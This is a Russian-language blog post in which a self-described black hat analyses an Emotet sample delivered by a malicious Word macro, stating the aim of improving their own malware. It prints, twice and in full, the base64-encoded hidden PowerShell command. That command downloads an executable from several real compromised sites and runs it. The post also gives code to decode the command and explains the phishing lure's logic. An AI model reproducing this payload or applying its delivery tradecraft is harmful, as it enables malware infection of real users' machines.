Анализ малвари от китайских APT.
Сегодня я в качестве черной шляпы, подучусь опыта на белошляпных ресурсах для того что бы добавить в нашу малварь немного перца. Давайте начнем изучать нормальные боти от нормальных китайских APT.
Если уж говорить о шляпных ресурсах то в наших славных руках есть очень гендерно нейтральный "app.any.run" на котором юные школьники ковыряют билды ваших любимых азорультиков, предаторов и остальной такой же хуйни из паблика, но иногда взрослые дядечки приносят туда очень интересные экземпляры, например билды тех же АПТ группировок. Давайте глянем какого мертвеца нам принесло морем из Поднебесной. Попробуем разобраться как он работает и что из себя представляет...
Первичная нагрузка была доставлена на ПК с помощью макроса зашитого в DOC файл, это нормально для всех APT групп, не нужно кривляться и думать, что банковский работник обычно запускает что то другое. На самом деле это вполне нормальный контент для человека который открывает DOC файлы 12 часов в сутки, и одна из основных программ на рабочем столе этого человека это как раз клиент корпоративной почты. Ну вы поняли, ага?
Основная нагрузка этого документа - это скрипт в макросах и страница заглушка - говорящая нам что он открывается в другой версии MS Word.
Стандартная, слишком палевная, хуйня, - скажете вы. Я буду согласен, но при массовой рассылке: вам не похуй ли бы было? Хоть один да бы открыл. Ладно поехали дальше.
Тут в основном все строчки рассказывают нам о работе гугл хрома, потому что малварьхантер именно работал в хроме, потом запустил ворд, потом уже заработал макрос, нам придется просто чуть чуть потянуть ползунок полосы прокрутки вниз и увидеть как пауршелл запускает полезную нагрузку которую прячет в кодировке base64
powershell -w hidden -en JABDAGUAaABkAHAAcQB5AHMAPQAnAEQAeABlAG4AdQByAHEAdQBjAHcAYQBuACcAOwAkAFcAZgB4AHYAaABzAGoAdgAgAD0AIAAnADQANwAwACcAOwAkAEoAYwBsAGcAcgBqAHUAZABwAGcAZwA9ACcATwBkAGMAaABtAGsAeQB5AGIAawAnADsAJABRAGkAawByAG4AZAB1AGIAegBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABXAGYAeAB2AGgAcwBqAHYAKwAnAC4AZQB4AGUAJwA7ACQAQwBvAHMAbQBhAG8AcwBzAG0AZgBvAD0AJwBOAGoAagB1AG8AZwBvAGgAZgBnACcAOwAkAEEAaQB1AHkAcQBlAHEAZgBoAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBCAEMAbABpAEUATgBUADsAJABUAGoAdQB3AGYAagBlAHkAdwB5AD0AJwBoAHQAdABwADoALwAvAGIAawBqADIAMAAwADIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAFkALwAqAGgAdAB0AHAAcwA6AC8ALwB0AG8AcABhAGcAZQBuAGMAeQAuAG4AYQB0AGgAYQBuAG8AbgBsAGkAbgBlAC4AdQBzAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQAxAHAALwAqAGgAdAB0AHAAcwA6AC8ALwBkAHUAawBlAGEAdABhAC4AYwBvAG0ALwBsAG8AZwBpAG4AXwBmAG8AcgBtAC8AagBBAGwAZQAvACoAaAB0AHQAcABzADoALwAvAGgAbwB3AGUAbABsAHQAYQB4AGkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGoAWAAvACoAaAB0AHQAcABzADoALwAvAGwAYQB1AHMAaQBuAGUAeABhAG0AZQBuAGUAcwAuAGMAbwBtAC8AZABpAHMAYwBsAG8AcwB1AHIAZQBzAC8ANgBiAHAALwAnAC4AIgBzAFAAbABgAEkAdAAiACgAJwAqACcAKQA7ACQAUwBhAGIAcQBzAGgAcgBrAHIAcAB1AGIAPQAnAFMAbgByAHgAaQBwAG8AdgB6AGEAcAAnADsAZgBvAHIAZQBhAGMAaAAoACQAUABxAG4AcAB6AGcAbwBrAHMAIABpAG4AIAAkAFQAagB1AHcAZgBqAGUAeQB3AHkAKQB7AHQAcgB5AHsAJABBAGkAdQB5AHEAZQBxAGYAaAAuACIARABPAFcAYABOAGwATwBhAEQAZgBJAGAATABFACIAKAAkAFAAcQBuAHAAegBnAG8AawBzACwAIAAkAFEAaQBrAHIAbgBkAHUAYgB6AHMAKQA7ACQARQBsAGkAdwBoAHUAcgBoAG4AcQA9ACcAWQB4AGMAdQB5AHAAaABjAHoAbwBhAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABRAGkAawByAG4AZAB1AGIAegBzACkALgAiAEwAZQBuAGAARwBUAGgAIgAgAC0AZwBlACAAMgA2ADEAMQA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABgAEEAcgBUACIAKAAkAFEAaQBrAHIAbgBkAHUAYgB6AHMAKQA7ACQARgB4AGIAYQBiAG4AdQBtAHkAaQA9ACcASAB6AGcAZQB3AG8AZABqAHMAbABhACcAOwBiAHIAZQBhAGsAOwAkAEgAYgBuAHEAbABzAG8AagBsAG0APQAnAFEAYQBoAGQAawBkAG0AZQBjAGEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgBkAGIAZQBvAHEAdAB4AGEAcAB1AGwAPQAnAE4AcQBmAGQAdgBuAHgAcwBnAG8AdwBnAGkAJwA=
Итак разберем аргументы командной строки которые тут выполняются:
Вызывается интерпретатор powershell.exe; окно которого скрыто значением ключа -w с параметром hidden; и сам скрипт пауршелла у нас обусфицирован и енкодирован в строку в кодировке base64, и расшифровывается и запускается как обычная комманда с ключом -en.
Давайте расшифруем, деобусфицируем и посмотрим что там внутри:
$command = "JABDAGUAaABkAHAAcQB5AHMAPQAnAEQAeABlAG4AdQByAHEAdQBjAHcAYQBuACcAOwAkAFcAZgB4AHYAaABzAGoAdgAgAD0AIAAnADQANwAwACcAOwAkAEoAYwBsAGcAcgBqAHUAZABwAGcAZwA9ACcATwBkAGMAaABtAGsAeQB5AGIAawAnADsAJABRAGkAawByAG4AZAB1AGIAegBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABXAGYAeAB2AGgAcwBqAHYAKwAnAC4AZQB4AGUAJwA7ACQAQwBvAHMAbQBhAG8AcwBzAG0AZgBvAD0AJwBOAGoAagB1AG8AZwBvAGgAZgBnACcAOwAkAEEAaQB1AHkAcQBlAHEAZgBoAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBCAEMAbABpAEUATgBUADsAJABUAGoAdQB3AGYAagBlAHkAdwB5AD0AJwBoAHQAdABwADoALwAvAGIAawBqADIAMAAwADIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAFkALwAqAGgAdAB0AHAAcwA6AC8ALwB0AG8AcABhAGcAZQBuAGMAeQAuAG4AYQB0AGgAYQBuAG8AbgBsAGkAbgBlAC4AdQBzAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQAxAHAALwAqAGgAdAB0AHAAcwA6AC8ALwBkAHUAawBlAGEAdABhAC4AYwBvAG0ALwBsAG8AZwBpAG4AXwBmAG8AcgBtAC8AagBBAGwAZQAvACoAaAB0AHQAcABzADoALwAvAGgAbwB3AGUAbABsAHQAYQB4AGkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGoAWAAvACoAaAB0AHQAcABzADoALwAvAGwAYQB1AHMAaQBuAGUAeABhAG0AZQBuAGUAcwAuAGMAbwBtAC8AZABpAHMAYwBsAG8AcwB1AHIAZQBzAC8ANgBiAHAALwAnAC4AIgBzAFAAbABgAEkAdAAiACgAJwAqACcAKQA7ACQAUwBhAGIAcQBzAGgAcgBrAHIAcAB1AGIAPQAnAFMAbgByAHgAaQBwAG8AdgB6AGEAcAAnADsAZgBvAHIAZQBhAGMAaAAoACQAUABxAG4AcAB6AGcAbwBrAHMAIABpAG4AIAAkAFQAagB1AHcAZgBqAGUAeQB3AHkAKQB7AHQAcgB5AHsAJABBAGkAdQB5AHEAZQBxAGYAaAAuACIARABPAFcAYABOAGwATwBhAEQAZgBJAGAATABFACIAKAAkAFAAcQBuAHAAegBnAG8AawBzACwAIAAkAFEAaQBrAHIAbgBkAHUAYgB6AHMAKQA7ACQARQBsAGkAdwBoAHUAcgBoAG4AcQA9ACcAWQB4AGMAdQB5AHAAaABjAHoAbwBhAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABRAGkAawByAG4AZAB1AGIAegBzACkALgAiAEwAZQBuAGAARwBUAGgAIgAgAC0AZwBlACAAMgA2ADEAMQA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABgAEEAcgBUACIAKAAkAFEAaQBrAHIAbgBkAHUAYgB6AHMAKQA7ACQARgB4AGIAYQBiAG4AdQBtAHkAaQA9ACcASAB6AGcAZQB3AG8AZABqAHMAbABhACcAOwBiAHIAZQBhAGsAOwAkAEgAYgBuAHEAbABzAG8AagBsAG0APQAnAFEAYQBoAGQAawBkAG0AZQBjAGEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgBkAGIAZQBvAHEAdAB4AGEAcAB1AGwAPQAnAE4AcQBmAGQAdgBuAHgAcwBnAG8AdwBnAGkAJwA=" $decodedCommand = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($command)); Write-Output $decodedCommand
Результат обусфицирован плохо, вообще говнёво если сказать честно, один раз тупо прошлись, и видимо в ручную, как обычно я это делаю, потом разберемся как можно было бы сделать лучше, но лучше сейчас восстановим оригинальный код, для того что бы проанализировать что то там...
Немного приводим в порядок разметку, делая отступы где нужно и обращая внимание на то что бы код более или менее был читаем. Теперь нам тут и видно что переменные как полагается названы чисто ради обусфикации - рандомными наборами англ букв, и некоторые из них просто лишние. Немного уберем текстовые переменные, просто заменив их на текст, там куда они должны были подставится.
Итак в начале скрипта мы имеем всего две переменных, одна из которых название файла, который дропается на диск, вторая список сайтов с которых вкачивается этот файл, далее мы интерируем данный список и скачиваем файл до первой победы когда выполнима проверка на размер скачанного, потом запускаем красного петуха.
В принципе про загрузчик всё.
А наш дропнутый на диск файл как видим далее запустился и после этого еще вызвал процесс с ключём --9d4c526b. Что это нам говорит? А то что это Emotet.
Вот статья в Юном Хакерёнке https://xakep.ru/2019/09/17/emotet-is-back/.
Эта статья была позаимствована у моего хорошего зн��комого: @papz777
Dark $ide, with løve <3